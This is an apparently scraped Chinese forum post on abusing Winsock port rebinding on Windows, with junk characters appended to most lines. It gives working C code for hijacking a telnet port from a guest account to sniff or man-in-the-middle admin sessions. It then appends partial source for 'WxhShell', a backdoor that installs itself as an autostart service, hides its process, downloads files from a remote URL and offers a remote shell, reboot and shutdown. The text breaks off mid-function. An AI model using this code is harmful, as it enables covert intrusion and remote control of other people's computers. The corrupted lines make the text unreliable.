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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nC {K$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -@>BHC  
PSawMPw  
  saddr.sin_family = AF_INET; WvHw{^(lF  
r_EcMIuk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u*  
azjEq$<M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y2O4I'/5<  
eMRar<)+#*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p;?*}xa  
%+ZJhHT  
  这意味着什么?意味着可以进行如下的攻击: $,xnU.n  
bqanFQj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iTW? W\d  
Bx[rC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %AOIKK5  
 Av0y?oGH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~j#~ \Ir  
V|)>{Xdn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VL9-NfeqR  
Y^%T}yTtq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bVmA tm[  
~.%K/=wK@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `V[!@b:  
iut`7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;Ut+yuy  
$3D'4\X~?  
  #include qH"Gm  
  #include ]]}tdn_  
  #include WWT",gio  
  #include    Gu=STb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E{HY!L[  
  int main() EkT."K  
  { &h*S y  
  WORD wVersionRequested; mj?16\|]  
  DWORD ret; M8k"je7`s  
  WSADATA wsaData; y]%w)4PS  
  BOOL val; ;X,1&#I  
  SOCKADDR_IN saddr; m8623D B"  
  SOCKADDR_IN scaddr; QZ `tNq :/  
  int err; 3Rm#-T s  
  SOCKET s; d2X[(3  
  SOCKET sc; V8=Y@T,  
  int caddsize; C8a*Q"  
  HANDLE mt; D 71;&G]0  
  DWORD tid;   (h']a!  
  wVersionRequested = MAKEWORD( 2, 2 ); IPuA#C  
  err = WSAStartup( wVersionRequested, &wsaData ); `P Xz  
  if ( err != 0 ) { w@2Vts  
  printf("error!WSAStartup failed!\n"); reo{*) %  
  return -1; (I@bkMp  
  } E^w:KC2@  
  saddr.sin_family = AF_INET; avmcw~ TF  
   2/,0iwj-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uH3D{4   
s=?aox7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bh&Ew   
  saddr.sin_port = htons(23); )a}"^1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \U%#nU{  
  { %iJ%{{f`  
  printf("error!socket failed!\n"); (2?G:+C 7  
  return -1; W:i?t8y\y  
  } z}SND9-"  
  val = TRUE; PLM_#+R>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1 4 LI5T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *zO&N^X.4  
  { cYNJhGY  
  printf("error!setsockopt failed!\n"); ,? E&V_5  
  return -1; 9iN.3/T8  
  } HG/p$L*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =TR,~8Z|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gf8s?l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -{h   
WS& kx~oQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4Z[V uQng  
  { K[ .JlIP  
  ret=GetLastError(); ,n2i@?NHZ  
  printf("error!bind failed!\n"); bIt=v)%$  
  return -1; 4LI0SwD#^/  
  } >k']T/%  
  listen(s,2); 66snC{g U  
  while(1) \EoX8b}$b0  
  { [fu!AIQs  
  caddsize = sizeof(scaddr); 3#wcKv%>&_  
  //接受连接请求 A5#y?Aq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v"+k~:t*  
  if(sc!=INVALID_SOCKET) XwM611  
  { }~Q"s2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fpM #XFj  
  if(mt==NULL) o/ [  
  { o6"*4P|  
  printf("Thread Creat Failed!\n"); *cWmS\h|  
  break; _9:@Vl]Q@  
  } xChI ,~i  
  } lA>\Ko  
  CloseHandle(mt); j:5%ppIY  
  } ,1Qd\8N9  
  closesocket(s); O?bK%P]ay  
  WSACleanup(); QGiAW7b5  
  return 0; 4^c- D  
  }   9?+9UlJ7K  
  DWORD WINAPI ClientThread(LPVOID lpParam) mzL[/B#>M  
  { I 5ag6l  
  SOCKET ss = (SOCKET)lpParam; _i}wK?n  
  SOCKET sc; L{ gE'jCC  
  unsigned char buf[4096]; {u7##Vrgt8  
  SOCKADDR_IN saddr; rl:KJ\*D  
  long num; b syq*  
  DWORD val; G,&%VQ3P>  
  DWORD ret; 8F;>5i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zIQzmvf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _BnTv$.P  
  saddr.sin_family = AF_INET; "cho }X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lD;'tqaC  
  saddr.sin_port = htons(23); pw>m.=9|y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~WVO  
  { gL$&@NY  
  printf("error!socket failed!\n"); ]/]ju$l9Z  
  return -1; ,S[K{y<  
  } )"@t6.  
  val = 100; y_F}s9wj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?4PQQd  
  { {I%y;Aab8  
  ret = GetLastError(); _X5_ez^/=  
  return -1; .R 44$F  
  } t[.W$1=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U` R;P-  
  { Ru%|}sfd  
  ret = GetLastError(); `ZHP1uQ<  
  return -1; <v]9lw'  
  } 4h 5_M8I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \Z)1 ?fq  
  { Uv?'m&_  
  printf("error!socket connect failed!\n"); {sN"( H4$  
  closesocket(sc); ~JZ3a0$^  
  closesocket(ss); l_FGZ!7  
  return -1; a,'Cyv">  
  } <2Y0{ 8)  
  while(1) 6=|&tE  
  { t\U$8l_;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2iXoj&3e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v<rF'D2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L0Vgo<A  
  num = recv(ss,buf,4096,0); W|Ldu;#  
  if(num>0) Iur9I>8h  
  send(sc,buf,num,0); $&-5;4R'0  
  else if(num==0) (;o*eFC F  
  break; irxz l3   
  num = recv(sc,buf,4096,0); |:iEfi]j  
  if(num>0) !oSLl.fQd  
  send(ss,buf,num,0); G^h_ YjR`*  
  else if(num==0) }*;EFR6'  
  break; (*^DN{5  
  } a4GWuozl  
  closesocket(ss); dBEIMn@  
  closesocket(sc); MB$a82bY  
  return 0 ; a#(U2OP  
  } =TcOnQj  
ki\uTD`mf  
!c8L[/L  
========================================================== /J%do]PDl  
2YQ#-M  
下边附上一个代码,,WXhSHELL n`5WXpz4;  
4KIWb~0Y  
========================================================== Cyk s  
XSD%t8<LO  
#include "stdafx.h" xe:' 8J6L  
FUTn  
#include <stdio.h> #qL9{P<}  
#include <string.h> n E :'Zxj  
#include <windows.h> (9.yOc4  
#include <winsock2.h> }Jxq'B  
#include <winsvc.h> {Bs+G/?o/  
#include <urlmon.h> q(9%^cV6  
4 eh=f!(+  
#pragma comment (lib, "Ws2_32.lib") +t\^(SJ6  
#pragma comment (lib, "urlmon.lib") sWxK~Yg  
mY2:m(9"5  
#define MAX_USER   100 // 最大客户端连接数 b :\D\X  
#define BUF_SOCK   200 // sock buffer P.4E{.)(  
#define KEY_BUFF   255 // 输入 buffer Zw=G@4xoU  
mxtgb$*  
#define REBOOT     0   // 重启 Lt<oi8'N  
#define SHUTDOWN   1   // 关机 -{x(`9H;  
gA +:CgQ  
#define DEF_PORT   5000 // 监听端口 i.@*t IK  
_EKF-&Q6  
#define REG_LEN     16   // 注册表键长度 zGs|DB  
#define SVC_LEN     80   // NT服务名长度 z[ #6-T &  
70`M,``  
// 从dll定义API +{>.Sk'$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _"f<Ol[!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &c^7O#j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m#ad6 \  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A~y VYC6l  
R 7K  
// wxhshell配置信息 $%}>zqD1  
struct WSCFG { {CP o<lz  
  int ws_port;         // 监听端口 75Fp[Q-  
  char ws_passstr[REG_LEN]; // 口令 ZrcPgcF  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,V2#iY.%}N  
  char ws_regname[REG_LEN]; // 注册表键名 22bT3  
  char ws_svcname[REG_LEN]; // 服务名 nZW4}~0j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >\\5"S f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5Fe-=BX(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q x.jCy@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m.1 46  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m^0A?jBrR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qv!rUiXq  
qRUCnCZs  
}; 'wE\{1~_[+  
)<'yQW=6  
// default Wxhshell configuration h#R&=t1,^  
struct WSCFG wscfg={DEF_PORT, ,)uPGe"y  
    "xuhuanlingzhe", Oy'0I,  
    1, _W+Q3Jx-(  
    "Wxhshell", _h~p:=  
    "Wxhshell", c% yh(g  
            "WxhShell Service", fv|%Ocm  
    "Wrsky Windows CmdShell Service", 1}DerX6  
    "Please Input Your Password: ", :|($,3*  
  1, It\BbG=  
  "http://www.wrsky.com/wxhshell.exe", /'`6 ; uRN  
  "Wxhshell.exe" 7jR7  
    }; [;F{mN  
VD4S_qx  
// 消息定义模块 /C7svH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ns~ g+C9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G;9|%yvd8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {.#j1r4J`  
char *msg_ws_ext="\n\rExit."; z (#Xca  
char *msg_ws_end="\n\rQuit."; |+mOH#Aty  
char *msg_ws_boot="\n\rReboot..."; okh0 _4  
char *msg_ws_poff="\n\rShutdown..."; I$Eg$q  
char *msg_ws_down="\n\rSave to "; Ei~]iZ}  
yUj;4vd  
char *msg_ws_err="\n\rErr!"; o3= .T+B  
char *msg_ws_ok="\n\rOK!"; :+1bg&wQ  
JOgmF_(>Z  
char ExeFile[MAX_PATH]; ])68wqD  
int nUser = 0; -_w~JCx  
HANDLE handles[MAX_USER]; ?:JdRnH\  
int OsIsNt; :7k`R6 2{  
1J+3a-0  
SERVICE_STATUS       serviceStatus; :%>oe> _"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yI *M[0  
, Z4p0M  
// 函数声明 !r2}59 J  
int Install(void); 6BHPzv+Y  
int Uninstall(void); A'b<?)Y7_  
int DownloadFile(char *sURL, SOCKET wsh); |WUA1g  
int Boot(int flag); FBbm4NB  
void HideProc(void); &BTfDsxAK  
int GetOsVer(void); iUpSN0XkMM  
int Wxhshell(SOCKET wsl); K wQXA'  
void TalkWithClient(void *cs); |oFI[PE  
int CmdShell(SOCKET sock); O{*GW0}55  
int StartFromService(void); h bdEw=r?  
int StartWxhshell(LPSTR lpCmdLine); z.{HD9TD  
~|qXtds$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l#|J rU!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'H FwP\HX  
(T4k~T`3  
// 数据结构和表定义 UT % #K%  
SERVICE_TABLE_ENTRY DispatchTable[] = UzN8G$92qF  
{ B\NcCp`5  
{wscfg.ws_svcname, NTServiceMain}, DZF[dxH  
{NULL, NULL} (c 1u{  
}; mn Qal>0~  
vB]3Xb3a  
// 自我安装 JJ)y2  
int Install(void) K"G(?<>~4c  
{ f};!m=b  
  char svExeFile[MAX_PATH]; ./2Z?,  
  HKEY key; y K=S!7p\  
  strcpy(svExeFile,ExeFile); /;[}=JL<Q  
9k*^\@\\x  
// 如果是win9x系统,修改注册表设为自启动 o<~-k,{5P  
if(!OsIsNt) { m*OLoZVy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "@aq@mY@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 55(J&q  
  RegCloseKey(key); `s#sE.=o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]9dx3<2_I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t4C<#nfo  
  RegCloseKey(key); <[esA9.]t  
  return 0; [`cdlx?Eh  
    } fc["  
  } p`pg5R  
} ttTI#Fr2  
else { `\nON  
70d] d+M|  
// 如果是NT以上系统,安装为系统服务 b "`ru~]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \=$EmHF  
if (schSCManager!=0) qAnA=/k`  
{ 7j4ej|Fjo  
  SC_HANDLE schService = CreateService jM{(8aUG  
  ( ^n6)YX  
  schSCManager, |C&%S"*+D  
  wscfg.ws_svcname, U#OWUZ  
  wscfg.ws_svcdisp, ,s\x]bh  
  SERVICE_ALL_ACCESS, m j'"Z75  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^mS.HT=X  
  SERVICE_AUTO_START, z +y;y&P  
  SERVICE_ERROR_NORMAL, ^cfkP(Y3kx  
  svExeFile, z (c@(UD-_  
  NULL, o",f(v&u%  
  NULL, N`y}Gs  
  NULL, /h1dm,  
  NULL, 8Pl+yiB/o`  
  NULL ppPG+[cz  
  ); ^=aml   
  if (schService!=0) bS_y_ 9K  
  { uEc0/ a :.  
  CloseServiceHandle(schService); cfrvy^>,  
  CloseServiceHandle(schSCManager); 3P%w-qT!N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |G|*  
  strcat(svExeFile,wscfg.ws_svcname); @>qx:jx(-S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /5L'9e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '-$))AdD  
  RegCloseKey(key); wUh3Hd'  
  return 0; -lJx%9>  
    } x*5 Ch~<k  
  } D!l [3  
  CloseServiceHandle(schSCManager); z }FiU[Hs  
} UrD=|-r`  
}  ;Puy A  
o|zrD~&$  
return 1; 9~LpO>-  
} {mCKTyN+  
4*@G&v?n  
// 自我卸载 .( TQ5/ ~  
int Uninstall(void) uW\@x4  
{ GoGohsj  
  HKEY key; h(+m<J  
~`nm<   
if(!OsIsNt) { 0A #9C09  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tdMP,0u  
  RegDeleteValue(key,wscfg.ws_regname); ,yB?~  
  RegCloseKey(key); xI.Orpw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4?P%M"\Iv  
  RegDeleteValue(key,wscfg.ws_regname); 9 AQ96  
  RegCloseKey(key); ~#HH;q_7m  
  return 0; #;qFPj- v  
  } doxdRYKL  
} | o;j0  
} glOqft&>`  
else { X~IRpzC  
[[/ }1%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wHB Hkz  
if (schSCManager!=0) (`q6G d  
{ uMiD*6,$<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ uz1  
  if (schService!=0) +l[Z2mW  
  { ShEaL&'J  
  if(DeleteService(schService)!=0) { _G-b L;  
  CloseServiceHandle(schService); kz$6}&uk  
  CloseServiceHandle(schSCManager); Ti9:'I  
  return 0; ZTgAZ5_cz  
  } ;*<{*6;=?  
  CloseServiceHandle(schService); Nf/ hr%jL  
  } CA~em_dC  
  CloseServiceHandle(schSCManager); n6}E4Eno  
} rC1qGzg\a  
} 2m)kyQ  
36x5q 1  
return 1; .dg 4gr\D  
} xy-$v   
#G[ *2h~99  
// 从指定url下载文件 ecSdU>  
int DownloadFile(char *sURL, SOCKET wsh) "FLD%3l  
{ $,z[XM&9)  
  HRESULT hr; LoV*YSDAY  
char seps[]= "/"; ,\m;DR1  
char *token; [+:mt</HN  
char *file; 3;t@KuQ66  
char myURL[MAX_PATH]; Q)%8NVs  
char myFILE[MAX_PATH]; #LrCx"_&  
F=*BvI "+  
strcpy(myURL,sURL); }K#&5E  
  token=strtok(myURL,seps); Y_Z &p#Q!  
  while(token!=NULL) P&-D0T_  
  { @]y{M;  
    file=token; )"i>R ~*  
  token=strtok(NULL,seps); "OS]\-  
  } @y;tk$e  
@=MZ6q  
GetCurrentDirectory(MAX_PATH,myFILE); 6>LQGO  
strcat(myFILE, "\\"); yv8dfl  
strcat(myFILE, file); "x=@ ,*Bk  
  send(wsh,myFILE,strlen(myFILE),0); npG+# z  
send(wsh,"...",3,0); ]'1N_m]?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 69<rsp(p  
  if(hr==S_OK) w|n?m  
return 0; ,,C~j`F  
else  ycAi(K  
return 1; k DceBs s  
J4 '!  
} k?|zIu  
sGDrMAQt  
// 系统电源模块 KH@) +Rj  
int Boot(int flag) l;][Q]Z@V  
{ ?O.6r"  
  HANDLE hToken; mn6p s6OB  
  TOKEN_PRIVILEGES tkp; v @I^:I  
1TD&&EC  
  if(OsIsNt) { ,< )/45  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <=y5 8O]x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z>MJ0J76]  
    tkp.PrivilegeCount = 1; $V{- @=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T0np<l]A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w'!}(Z5X?  
if(flag==REBOOT) { [r~rIb%Zj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ie`SWg*WL  
  return 0; HS5Ug'\446  
} Lct+cKKU  
else { 6_`eTL=G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qS/71Kv'  
  return 0; I}g|n0o  
} 45O6TqepN  
  } <g|nmu)o$  
  else { 9(FcA5Y  
if(flag==REBOOT) { ]a%\Q 2[c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CDTk  
  return 0; zm)CfEF 8  
} ^) b7m  
else { WE Svkm;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]K0,nj*\c  
  return 0; -)->Jx:{  
} pS|JDMo  
} t&Y^W <  
V@+<,tjq  
return 1; dv4r\ R^  
} (m =u;L"o  
$Bwvw)(%  
// win9x进程隐藏模块 tB(X`A.|  
void HideProc(void) pQgOT0f  
{ /wCxf5q0  
?H7p6m u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UXdC<(vK  
  if ( hKernel != NULL ) *!7SM 7  
  { @l6 dJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C7*Yg$`{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B=RKi\K6a  
    FreeLibrary(hKernel); G3?a~n^b  
  } s)7`r6w  
t;a}p_>  
return; s)&R W#:X  
} =ILo`Q~  
<812V8<!  
// 获取操作系统版本 &MGgO\|6  
int GetOsVer(void)  q&Ua(I  
{ :-'ri Ry  
  OSVERSIONINFO winfo; LM`tNZ1Fc!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cF<DUr)Ve  
  GetVersionEx(&winfo); pcxl2I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ()IgSj?,  
  return 1; #( Yb lY  
  else qP.VK?jF|  
  return 0; );.<Yf{c  
} H&K)q5~  
s].Cx4VQ  
// 客户端句柄模块 0#[Nfe*  
int Wxhshell(SOCKET wsl) [.#$hOsNR  
{ 'w$we6f  
  SOCKET wsh; apWrcaj  
  struct sockaddr_in client; 1nM?>j%k  
  DWORD myID; j~j V`>A  
ne~#{q  
  while(nUser<MAX_USER) GH)+yD[o  
{ ~|d?o5W  
  int nSize=sizeof(client); [`n yq)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PT*@#:MA  
  if(wsh==INVALID_SOCKET) return 1; +z/73s0~  
[(^''*7r+T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HBkQ`T  
if(handles[nUser]==0) GISI8W^  
  closesocket(wsh); 6 VJj(9%  
else ,4I6RwB.  
  nUser++; l[j0(T  
  } AE@Rn(1.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oTa+E'q  
NZ? =pfK\s  
  return 0; RoXOGVo  
} r3lr`s`  
#S74C*'8  
// 关闭 socket Cr\/<zy1-e  
void CloseIt(SOCKET wsh) y]z#??  
{ B!C32~[  
closesocket(wsh); 3G0\i!*t  
nUser--; [8g\pPQ  
ExitThread(0); C4d1*IQk  
} O pX  
~CTRPH   
// 客户端请求句柄 w5G34[v  
void TalkWithClient(void *cs) vP;tgW9Qk  
{ -kS5mR  
T//+&Sk[  
  SOCKET wsh=(SOCKET)cs; j W]c9u  
  char pwd[SVC_LEN]; G!lykk]  
  char cmd[KEY_BUFF]; /u1zRw  
char chr[1]; GnHf9 JrR  
int i,j; W${sD|d-  
BHBR_7  
  while (nUser < MAX_USER) { n6+M qN  
JZ0+VB-3U  
if(wscfg.ws_passstr) { !Dn1 pjxc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |&*rSp2iH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _5 -"<  
  //ZeroMemory(pwd,KEY_BUFF); e/~<\  
      i=0; ~9 nrS9)  
  while(i<SVC_LEN) { k5<0M'  
9 CSz<[  
  // 设置超时 QLLV OJi  
  fd_set FdRead; fO|u(e  
  struct timeval TimeOut; XSIO0ep  
  FD_ZERO(&FdRead); Ppn ZlGQ6  
  FD_SET(wsh,&FdRead); E)SOcM)  
  TimeOut.tv_sec=8; d`*vJ#$> 2  
  TimeOut.tv_usec=0; ApB'O;5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m`6`a|Twp$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5w%9b  
e/l?|+m 6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9GOyVKUv  
  pwd=chr[0]; _C\ d^a (  
  if(chr[0]==0xd || chr[0]==0xa) { o[*ih\d  
  pwd=0; eh=bClk  
  break; oO,p.X%  
  } q"vT]=Y}:  
  i++; h v+i{Z9!]  
    } 438> )=  
_e^V\O>  
  // 如果是非法用户,关闭 socket C'"6@-~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;L{y3CWT  
} $9b6,Y_-  
Yhdt8[ 2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :njUaMFoMA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %[;KO&Ga  
gKEvgXOj  
while(1) { V3nv5/6  
6H9]]Unju  
  ZeroMemory(cmd,KEY_BUFF); ,*#M%Pv1t  
ZuON@(  
      // 自动支持客户端 telnet标准   QpZhxp  
  j=0; 0 N^V&k   
  while(j<KEY_BUFF) { [r~l O@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4iPg_+  
  cmd[j]=chr[0]; UY^f|f&  
  if(chr[0]==0xa || chr[0]==0xd) { CF4y$aC#  
  cmd[j]=0; 7m$/.\5  
  break; MYm6C;o$  
  } jP]'gQ!-w  
  j++; 8BdeqgU/_  
    } kF7Al]IgT  
27gm_ *  
  // 下载文件 B)iJH  
  if(strstr(cmd,"http://")) { -4a&R=%p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YRXe j  
  if(DownloadFile(cmd,wsh)) l#:Q V:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); od|.E$B  
  else vDL/PXNC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sRG3`>1  
  } smNr%}_g  
  else { 6C5qW8q]u3  
%?y`_~G  
    switch(cmd[0]) { {hR23eE)#  
  c }cboe2  
  // 帮助 /267Q;d C)  
  case '?': { EORAx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8t"DQ Y-R  
    break; /otgFQ_  
  } D[?|\?  
  // 安装 Sn,z$-;h;  
  case 'i': { Rx<F^J  
    if(Install()) NoIdO/vy"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M?`06jQD.  
    else n40Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Plv+mb  
    break; w9BH>56/"  
    } 2y,wN"qH*  
  // 卸载 ^6n]@4P  
  case 'r': { 4]R3*F  
    if(Uninstall()) lUz@Em  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bvKi0-  
    else YWdvL3Bgk,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _X/`4 G  
    break; z@j&vW  
    } }8e %s;C  
  // 显示 wxhshell 所在路径 : Dlk `?  
  case 'p': { '{~ ej:  
    char svExeFile[MAX_PATH]; 4 n( f/  
    strcpy(svExeFile,"\n\r"); w5Z3e^g  
      strcat(svExeFile,ExeFile); gsH_pG-jU  
        send(wsh,svExeFile,strlen(svExeFile),0); CaMG$X&O  
    break; \k8_ZJw  
    } }#M|3h;q9+  
  // 重启 TjdYCk]'  
  case 'b': { fE iEy%o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IU}`5+:m  
    if(Boot(REBOOT)) o\#e7Hqbh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3{=4q  
    else { 6]*qx5m`<l  
    closesocket(wsh); <Th.}=  
    ExitThread(0); j7zQ&ANF  
    } D1a4+AyI  
    break; Zuf&maa S  
    } 4a~_hkY]  
  // 关机 +{Ttv7l_2  
  case 'd': { ,q1RJiR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qp}<8/BM\  
    if(Boot(SHUTDOWN)) B'yrXa|P  
